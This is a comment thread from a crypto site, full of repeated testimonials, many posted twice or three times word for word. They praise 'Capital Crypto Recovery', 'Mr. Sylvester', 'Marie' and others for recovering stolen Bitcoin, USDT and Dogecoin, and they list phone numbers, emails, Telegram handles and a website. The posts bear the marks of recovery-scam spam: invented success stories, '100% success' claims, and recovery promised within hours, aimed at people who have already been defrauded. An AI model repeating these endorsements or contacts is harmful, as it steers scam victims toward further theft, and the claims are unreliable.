    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon